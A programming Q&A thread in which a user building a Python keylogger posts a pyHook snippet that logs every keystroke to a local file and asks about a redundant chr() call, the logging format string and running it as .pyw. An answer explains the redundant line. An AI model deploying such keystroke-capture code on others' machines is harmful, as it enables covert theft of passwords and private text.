Reputation: 57
I was trying to make a keylogger in pyhton and have stumbled upon this piece of code on numerous blogs:
file_log='F:\\test\\log.txt'
def onKeyboardEvent(event):
logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown=onKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
Alright, I got three doubts here:
First,As far as I understand, chr(event.Ascii) is used to convert ASCII values of keystrokes into valid char values, Why are we doing it twice : chr(event.Ascii) logging.log(10,chr(event.Ascii)). Isn't the line : chr(event.Ascii) redundant here.
Second , whats the use of 's' in format='%(message)s'
And third: I saved the file as '.pyw' But when I double-click it, it wont work. Although, It works thru Cmd
Upvotes: 1
Views: 915
Reputation: 365707
As far as I understand, chr(event.Ascii) is used to convert ASCII values of keystrokes into valid char values, Why are we doing it twice : chr(event.Ascii) logging.log(10,chr(event.Ascii)). Isn't the line : chr(event.Ascii) redundant here.
Yes, you understand it correctly. And it would be useless even if it weren't redundant—this is just an expression statement that evaluates an expression with no side effects and does nothing with the results, so it has no effect, except to waste a bit of CPU time.
When you find random code somewhere on the internet, there's no guarantee that it's brilliant code.
Maybe the author was getting strange values, and decided they needed to be able to put a breakpoint right before or after that chr
call, so they moved it out onto its own line. Or getting an exception, and didn't know how to tell whether it came from chr
or log
. Sure, either they should have then done s = chr(event.Ascii)
and then used it in logging.log(10, s)
or something, but maybe it was just a one-shot quick&dirty thing that they just forgot to revert.
Or maybe the author knows less about Python than you, or is an idiot, or just gets paid by the number of times they call builtins. Who knows?
Upvotes: 2